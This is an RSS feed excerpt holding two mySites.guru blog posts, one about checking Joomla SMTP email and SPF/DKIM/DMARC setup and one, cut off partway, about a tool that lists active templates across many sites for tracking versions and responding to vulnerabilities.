&lt;p&gt;If you&apos;re already paying for Google Workspace or Microsoft 365, you can technically use their SMTP servers, but I&apos;d think twice about it. Google has &lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot;&gt;deprecated &quot;Less Secure Apps&quot;&lt;/a&gt; (basic username/password authentication) and now &lt;a href=&quot;https://knowledge.workspace.google.com/admin/sync/transition-from-less-secure-apps-to-oauth&quot;&gt;requires OAuth 2.0&lt;/a&gt; for SMTP access. Neither Joomla nor WordPress supports OAuth for sending emails natively, so you&apos;d need App Passwords (which Google may further restrict) or a third-party plugin that handles the OAuth flow. Microsoft 365 has similar restrictions in the pipeline.&lt;/p&gt;
&lt;p&gt;This is another reason I recommend a dedicated transactional email service like Postmark or Amazon SES. They use standard SMTP credentials that just work, without OAuth headaches or provider-imposed sending limits.&lt;/p&gt;
&lt;h2&gt;Which DNS records affect email delivery?&lt;/h2&gt;
&lt;p&gt;Even with perfect SMTP settings, your emails can still fail if your DNS records aren&apos;t set up correctly. SPF, DKIM, and DMARC are a whole topic on their own, and getting them wrong can be worse than not having them at all. I&apos;ll give a brief overview here, but if you&apos;re not familiar with email authentication records, spend some time with the &lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;DMARCLY guide&lt;/a&gt; before making changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SPF&lt;/strong&gt; (Sender Policy Framework) is a DNS TXT record that lists which IP addresses and services are allowed to send email for your domain. If your SMTP provider isn&apos;t included, receiving servers will reject or spam-flag your messages. &lt;strong&gt;DKIM&lt;/strong&gt; (DomainKeys Identified Mail) adds a cryptographic signature to outgoing emails that the receiving server verifies against a public key in your DNS. &lt;strong&gt;DMARC&lt;/strong&gt; ties SPF and DKIM together and tells receiving servers what to do when a message fails both checks.&lt;/p&gt;
&lt;p&gt;All three need to be correct and consistent with each other. A misconfigured SPF record can block legitimate email. A missing DKIM signature can tank your deliverability even if SPF passes. And a DMARC policy set to &lt;code&gt;p=reject&lt;/code&gt; before you&apos;ve verified everything will silently drop real messages.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Get DNS right before you change DMARC policy&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Start with &amp;lt;code&amp;gt;p=none&amp;lt;/code&amp;gt; to monitor. Use &amp;lt;a href=&quot;https://mxtoolbox.com/&quot; class=&quot;text-amber-900 underline dark:text-amber-200&quot;&amp;gt;MXToolbox&amp;lt;/a&amp;gt; to verify your SPF and DKIM records are correct before moving to &amp;lt;code&amp;gt;p=quarantine&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;p=reject&amp;lt;/code&amp;gt;. Allow up to 48 hours for DNS propagation after any changes.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;A complete Joomla email health checklist&lt;/h2&gt;
&lt;p&gt;Use this checklist to verify your Joomla site&apos;s email configuration from top to bottom:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mailer set to SMTP&lt;/strong&gt; - Not PHP Mail, not Sendmail&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP host is correct&lt;/strong&gt; - Matches your email provider&apos;s documented hostname&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP port is 587&lt;/strong&gt; - With STARTTLS encryption (or 465 with SSL/TLS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP authentication enabled&lt;/strong&gt; - With dedicated credentials (not personal email)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Email matches your domain&lt;/strong&gt; - And that domain has SPF/DKIM records authorizing the SMTP server&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Name is your business name&lt;/strong&gt; - Not &quot;Joomla! powered site&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send Copy to Submitter is disabled&lt;/strong&gt; - To prevent &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;spam abuse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plaintext passwords disabled&lt;/strong&gt; - Joomla should never email passwords in the clear&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPF DNS record exists&lt;/strong&gt; - Includes your SMTP provider&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM DNS record exists&lt;/strong&gt; - Provided by your SMTP service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC DNS record exists&lt;/strong&gt; - Set to at least &lt;code&gt;p=quarantine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test email actually arrives&lt;/strong&gt; - Not just &quot;config looks right&quot; but verified delivery&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you manage more than a handful of sites, running through this list manually on each one is impractical. That&apos;s exactly what &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&apos;s audit and snapshot tools&lt;/a&gt; are built for: automated checks across all your connected sites, with &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; enforcement and trend tracking so you can see when something changes.&lt;/p&gt;
&lt;h2&gt;Troubleshooting: Joomla email was working and now it isn&apos;t&lt;/h2&gt;
&lt;p&gt;Everything was fine last week and now nothing sends. Here&apos;s a systematic approach to diagnosing it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Check if the problem is Joomla or the SMTP server.&lt;/strong&gt; Try sending an email through your SMTP service&apos;s web interface or API directly. If that works, the problem is in Joomla&apos;s configuration. If that also fails, the problem is with the SMTP service itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Check for recent changes.&lt;/strong&gt; Did you update Joomla? Update a plugin? Change hosting? Move servers? Any of these can alter mail settings or break an existing connection. Check your mySites.guru audit history; the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;quick snapshot&lt;/a&gt; shows what changed between snapshots.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Verify credentials.&lt;/strong&gt; Log into your SMTP service&apos;s dashboard and confirm your credentials are still valid. Check for expiration notices, IP allowlist changes, or account suspensions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Check server-level blocks.&lt;/strong&gt; Some hosting providers block outbound SMTP connections (especially on port 25, but sometimes on 465 and 587 too). Contact your host and ask if they&apos;ve changed their firewall rules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Check DNS records.&lt;/strong&gt; Use &lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt; to verify your SPF, DKIM, and DMARC records are still intact. Domain transfers, DNS provider changes, or accidental record deletions can break email authentication overnight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Check for blacklisting.&lt;/strong&gt; If your server&apos;s IP address has been blacklisted due to spam (possibly from another site on the same shared hosting), your emails will be rejected by many receiving servers. Use &lt;a href=&quot;https://mxtoolbox.com/blacklists.aspx&quot;&gt;MXToolbox&apos;s blacklist check&lt;/a&gt; to see if your IP appears on any major blocklists.&lt;/p&gt;
&lt;h2&gt;How do you manage email configuration across multiple sites?&lt;/h2&gt;
&lt;p&gt;If you run an agency with dozens or hundreds of Joomla sites, keeping track of email configuration across all of them is a pain. Each site has its own SMTP settings, its own DNS records, its own potential failure points.&lt;/p&gt;
&lt;p&gt;mySites.guru was built for exactly this scenario. Every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; runs the email delivery test across all your connected sites automatically, and the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; shows the result alongside 140+ other checks. You can see at a glance which sites have working email and which don&apos;t, track when a previously working configuration breaks, and share the results with clients through &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;automated white-label reports&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Unlimited sites&lt;/a&gt; on a single subscription, so there&apos;s no per-site cost as your portfolio grows.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/configuration/configuration-smtp-mail-gmail&quot;&gt;Joomla SMTP Mail and Gmail Configuration&lt;/a&gt; - Official Joomla documentation on configuring SMTP mail settings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;How to Implement DMARC/DKIM/SPF&lt;/a&gt; - Comprehensive guide covering SPF, DKIM, and DMARC setup with step-by-step instructions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://postmarkapp.com/guides/transactional-email-best-practices&quot;&gt;Transactional Email Best Practices&lt;/a&gt; - Postmark&apos;s guide to authentication, design, and monitoring for transactional email&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.emailtooltester.com/en/blog/best-email-deliverability-tools/&quot;&gt;Best Email Deliverability Tools&lt;/a&gt; - Review of inbox placement testing and spam checking tools&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;If you&apos;re not sure whether your Joomla sites can actually send email right now, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt;. It takes less than a minute to connect your site, and you&apos;ll get a clear pass/fail result for email delivery along with dozens of other security and configuration checks.&lt;/p&gt;
&lt;p&gt;You might be surprised what you find.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Email configuration checks are covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>smtp</category><category>security</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/how-to-verify-joomla-email-configuration-works.zm7u0y9A.png" length="0" type="image/png"/></item><item><title>How to Compare Joomla Templates Across All Your Sites</title><link>https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</guid><description>See which template every Joomla site uses, spot legacy or default templates, and export the full list as CSV from one dashboard.</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage a handful of Joomla sites&lt;/a&gt;, keeping track of which template each one uses is simple enough. You probably remember off the top of your head. But once you cross into double digits, or triple, that casual mental inventory falls apart fast.&lt;/p&gt;
&lt;p&gt;Which sites are still on Cassiopeia? Did you finish migrating that client from Protostar to a commercial template after the Joomla 4 upgrade? Is anyone still running an old version of the Astroid Framework that needs patching? These are the kinds of questions that eat up entire afternoons when you have to log into each site&apos;s administrator panel to find the answer.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/theme_and_template_list&quot;&gt;Active Theme and Template List&lt;/a&gt; tool in mySites.guru puts all of that information on a single page. Every connected site, its active template or theme, the version number, and the author - searchable, filterable, and exportable as CSV. No logging into admin panels. No spreadsheets maintained by hand. No guessing.&lt;/p&gt;
&lt;h2&gt;Why Are Joomla Templates Code, Not Decoration?&lt;/h2&gt;
&lt;p&gt;Most people think of templates as a cosmetic layer. Pick some colours, choose a layout, maybe adjust a few spacing values, and you are done. That thinking is wrong.&lt;/p&gt;
&lt;p&gt;A Joomla template is PHP, HTML, CSS, and JavaScript executing on your server on every single page load. It handles output rendering, menu logic, module positioning, responsive breakpoints, asset loading, and often bundles its own framework with thousands of lines of code. A complex commercial template can have more code than some extensions. It is not arranging prettiness - it &lt;strong&gt;is&lt;/strong&gt; code that happens to produce prettiness.&lt;/p&gt;
&lt;p&gt;And code needs maintenance. Code has bugs. Code has security vulnerabilities. Code has dependencies that go end-of-life. When you install a template and forget about it because &quot;it&apos;s just the design,&quot; you are leaving unmaintained code running on a production server. You would never do that with a plugin or component, but people do it with templates constantly because the word &quot;template&quot; sounds harmless.&lt;/p&gt;
&lt;p&gt;If you manage 50 sites and each one has a template with its own framework, that is 50 installations of code that need version tracking, update management, and security monitoring. Treat templates the way you treat every other piece of software on the server: know what version is running, know when updates are available, and patch vulnerabilities immediately.&lt;/p&gt;
&lt;h2&gt;Why Joomla template visibility matters across a portfolio&lt;/h2&gt;
&lt;p&gt;Templates carry the same risks as any other extension. A template with a security vulnerability is just as dangerous as a plugin with one - sometimes more so, because templates tend to get less attention during routine maintenance.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; in early March 2026 was a perfect case study. CVE-2026-21628 scored a CVSS 10.0 - the maximum possible severity - and affected every version of the Astroid Framework before 3.3.11. Attackers used it to install backdoor plugins and inject hidden SEO spam into affected sites without ever needing to log in.&lt;/p&gt;
&lt;p&gt;The agencies that responded fastest were the ones that could answer one question immediately: &quot;Which of my sites are running an Astroid-based template?&quot; If you had to log into each site to check, you were already behind.&lt;/p&gt;
&lt;p&gt;That was not an isolated incident. Over the years, Joomla template frameworks and their bundled components have been hit by directory traversal flaws, SQL injection reports, and file upload bypasses. Some affected the template code directly; others targeted companion components or media managers that ship alongside the template. The common thread is always the same: if you do not know which sites are running the affected framework, you cannot respond fast enough.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Template management is about knowing what code is running across your entire portfolio so you can act fast when something goes wrong.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Beyond security, template visibility helps with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Standardisation&lt;/strong&gt; - Confirming all client sites have been migrated to your preferred template framework after a major CMS upgrade&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt; - Producing an accurate inventory for internal records, client handovers, or compliance requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Version tracking&lt;/strong&gt; - Spotting sites that are running outdated template versions when the developer has released updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit readiness&lt;/strong&gt; - Having a single source of truth for what is deployed where, without relying on memory or manual records&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Is the Active Theme and Template List Tool?&lt;/h2&gt;
&lt;p&gt;The template list tool lives in the Tools section of your mySites.guru dashboard. It pulls data from the latest &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; of every connected site and presents it in a single table.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;What the table shows&lt;/h3&gt;
&lt;p&gt;Each row in the table represents one connected site. The columns are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site&lt;/strong&gt; - The site name and URL, displayed as a clickable link to the site&apos;s management page in mySites.guru&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site Version&lt;/strong&gt; - The CMS version running on that site (e.g., Joomla 5.3.1, WordPress 6.8), displayed with a colour-coded badge&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt; - The name of the currently active template (Joomla) or theme (WordPress)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme Version&lt;/strong&gt; - The version number of the active template or theme&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author&lt;/strong&gt; - The developer or company that created the template&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gives you a complete at-a-glance view of what every site in your portfolio is running - without clicking through to individual admin panels or expanding any dropdowns.&lt;/p&gt;
&lt;h3&gt;Searching and filtering&lt;/h3&gt;
&lt;p&gt;At the top of the table is a search box that filters the results in real time. You can search by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site name or URL&lt;/strong&gt; - Find a specific client&apos;s site quickly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template name&lt;/strong&gt; - Type &quot;Astroid&quot; to see every site using an Astroid-based template, or &quot;Cassiopeia&quot; to find sites still on the Joomla default&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - Filter by PHP version to cross-reference template compatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform&lt;/strong&gt; - Filter by Joomla or WordPress to see only one CMS type&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The search is an exact-match filter, so it narrows results as you type. If you need to find all sites running a particular template, you can type the template name and see the filtered list in under a second.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Note&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;The template data is updated every 12 hours by the automated snapshot, or whenever you manually trigger a snapshot from the Manage Site page. If you have just changed a template on a site, run a snapshot to update the data in mySites.guru before checking the list.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Exporting to CSV&lt;/h3&gt;
&lt;p&gt;Next to the search box is an &lt;strong&gt;Export CSV&lt;/strong&gt; button. One click and you get a downloadable CSV file containing:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The full URL of the site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The CMS version (e.g., 5.3.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_platform&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The platform type (Joomla or WordPress)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The active template or theme name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The template or theme version number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_author&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The developer or company name&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This CSV is ready to drop into a spreadsheet, import into a project management tool, or attach to a client report. For agencies that need to document their infrastructure for compliance or handover purposes, this single export replaces hours of manual data gathering.&lt;/p&gt;
&lt;p&gt;You can also incorporate this data into your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; for a polished, professional deliverable.&lt;/p&gt;
&lt;h2&gt;How Do You Spot Sites on Default or Legacy Joomla Templates?&lt;/h2&gt;
&lt;p&gt;One of the most common template management tasks is identifying sites that are still running a default CMS template. In Joomla, that means Cassiopeia (Joomla 4 and 5) or Protostar (Joomla 3). These templates are functional but generic, and for most professional sites they should have been replaced with something purpose-built long ago.&lt;/p&gt;
&lt;p&gt;mySites.guru includes an automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; check specifically for this. The &quot;Default Template Used&quot; check flags any site where the active template is one of Joomla&apos;s built-in defaults. It appears as an issue in the site&apos;s snapshot results, with a clear recommendation to switch to a custom template.&lt;/p&gt;
&lt;p&gt;This check runs automatically every 12 hours alongside the other 140+ snapshot checks. You do not need to remember to look for it - the system surfaces it for you.&lt;/p&gt;
&lt;h3&gt;Why default templates are worth flagging&lt;/h3&gt;
&lt;p&gt;Default templates are not necessarily insecure, but they do create several practical problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recognition&lt;/strong&gt; - Visitors and search engines associate default templates with unfinished or unmaintained sites. It does not inspire confidence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature limitations&lt;/strong&gt; - Default templates lack the layout options, performance optimisations, and customisation hooks that commercial template frameworks provide.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upgrade risk&lt;/strong&gt; - When Joomla releases a new major version, the default template often changes entirely. Sites still on the old default face a harder migration path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client perception&lt;/strong&gt; - If you are managing sites for clients, a default template suggests the project was not completed properly. It reflects on your agency&apos;s work.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list tool makes it trivial to scan for default templates across your entire portfolio. Type &quot;Cassiopeia&quot; in the search box, and every site still running it appears immediately. From there, you can prioritise which ones to migrate first.&lt;/p&gt;
&lt;h2&gt;How Do You Manage Joomla Templates During CMS Migrations?&lt;/h2&gt;
&lt;p&gt;Major CMS upgrades are when template management gets genuinely complicated. Joomla 3 to Joomla 4 required a complete template change for most sites - the old template system was fundamentally different. Joomla 4 to Joomla 5 was smoother, but template compatibility still needed verifying. And now with Joomla 6 on the horizon, the cycle is about to repeat.&lt;/p&gt;
&lt;p&gt;During these transitions, the template list tool becomes your progress tracker.&lt;/p&gt;
&lt;h3&gt;Before the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open the Active Theme and Template List and export the CSV - this is your baseline&lt;/li&gt;
&lt;li&gt;Filter by the old platform version to see which sites still need upgrading&lt;/li&gt;
&lt;li&gt;Note which templates are in use and check with each template developer for compatibility with the new CMS version&lt;/li&gt;
&lt;li&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tool&lt;/a&gt; to check for template framework updates that add compatibility&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;During the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;After upgrading each site, run a manual snapshot to refresh the template data&lt;/li&gt;
&lt;li&gt;Check the template list to confirm the new template is active and the version number is correct&lt;/li&gt;
&lt;li&gt;Use the search box to filter for the old template name - any remaining results are sites that still need attention&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;After the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Export a fresh CSV as your post-migration baseline&lt;/li&gt;
&lt;li&gt;Compare it against the pre-migration export to verify every site was updated&lt;/li&gt;
&lt;li&gt;Archive both CSVs for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This structured approach prevents the most common migration mistake: thinking you have finished when there are still a handful of sites left on the old template. The template list gives you an objective answer instead of relying on your memory of which sites you have already touched.&lt;/p&gt;
&lt;h2&gt;Using the template list for security response&lt;/h2&gt;
&lt;p&gt;When a template vulnerability is disclosed, response time is everything. The template list tool gives you the fastest possible path from &quot;there is a vulnerability&quot; to &quot;these are the sites I need to patch.&quot;&lt;/p&gt;
&lt;h3&gt;The workflow for a template security event&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identify the affected template&lt;/strong&gt; - Check the vulnerability disclosure for the template name and affected versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search the template list&lt;/strong&gt; - Type the template name in the search box to see every site in your portfolio using it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check versions&lt;/strong&gt; - The Theme Version column tells you immediately which sites are running a vulnerable version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prioritise and act&lt;/strong&gt; - Start with the most critical or publicly visible sites, then work through the rest&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Push the update&lt;/strong&gt; - If the template developer has released a patch, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass package installer&lt;/a&gt; to push it to all affected sites at once&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify&lt;/strong&gt; - Run snapshots on the updated sites and check the template list again to confirm the new version is showing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This entire process takes minutes, not hours. Compare that to logging into each admin panel individually, navigating to the template manager, checking the version, downloading the update, installing it, and moving on to the next site. At scale, the time savings are enormous.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;The recent Astroid Framework vulnerability (CVE-2026-21628) affected every version before 3.3.11. Agencies using mySites.guru could identify all affected sites in seconds using the template list and extension search, then push the update to all of them at once using the mass package installer.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;We covered the Astroid vulnerability in detail when it dropped. If you want to hear about security issues like these as they happen, &lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;subscribe to the newsletter&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts directly in your dashboard.&lt;/p&gt;
&lt;h2&gt;Does the Template List Cover WordPress Themes?&lt;/h2&gt;
&lt;p&gt;While this article focuses on Joomla - because Joomla template management across large portfolios is a particularly underserved need - the template list tool covers WordPress sites equally well.&lt;/p&gt;
&lt;p&gt;WordPress themes appear in the same table with the same columns: theme name, version, and author. The CSV export includes a &lt;code&gt;site_platform&lt;/code&gt; column so you can distinguish between Joomla templates and WordPress themes when processing the data.&lt;/p&gt;
&lt;p&gt;This is especially useful for agencies that manage a mixed portfolio of Joomla and WordPress sites. Instead of checking two different systems or maintaining separate inventories, everything is in one place. The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; was built for exactly this kind of cross-platform visibility.&lt;/p&gt;
&lt;p&gt;For WordPress specifically, the same default theme warning applies. Sites running Twenty Twenty-Five (or any of the annual default themes) are flagged by the snapshot, just as Joomla sites running Cassiopeia are flagged.&lt;/p&gt;
&lt;h2&gt;Integrating template data into your workflow&lt;/h2&gt;
&lt;p&gt;The template list connects to other parts of mySites.guru that help you act on the information.&lt;/p&gt;
&lt;h3&gt;Combined with extensions management&lt;/h3&gt;
&lt;p&gt;Templates do not exist in isolation. A Joomla template built on the &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; depends on that framework being installed and up to date. A template built on the Helix3 or T4 framework has the same dependency.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; lets you search for these frameworks by name and see every site that has them installed, along with the version number. Cross-referencing this with the template list gives you a complete picture: which template is active, and which underlying framework it depends on.&lt;/p&gt;
&lt;p&gt;This is how you spot a site that has been upgraded to a new template but still has the old template&apos;s framework installed and potentially vulnerable. The template list shows the active template; the extensions list shows everything installed, whether active or not.&lt;/p&gt;
&lt;h3&gt;Combined with site information&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; provides the broader context for each site: PHP version, CMS version, server environment, SSL status, and more. When you spot a site on an old template version in the template list, you can check the site information to understand why - maybe it is running an older PHP version that cannot support the latest template release, or the CMS version has not been updated either.&lt;/p&gt;
&lt;h3&gt;Combined with client reports&lt;/h3&gt;
&lt;p&gt;If you send regular reports to clients, the template data feeds into the information available for your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt;. You can document exactly which template is in use, confirm it is up to date, and demonstrate that you are actively managing the site&apos;s infrastructure - not just keeping the content fresh.&lt;/p&gt;
&lt;h3&gt;Combined with the snapshot&lt;/h3&gt;
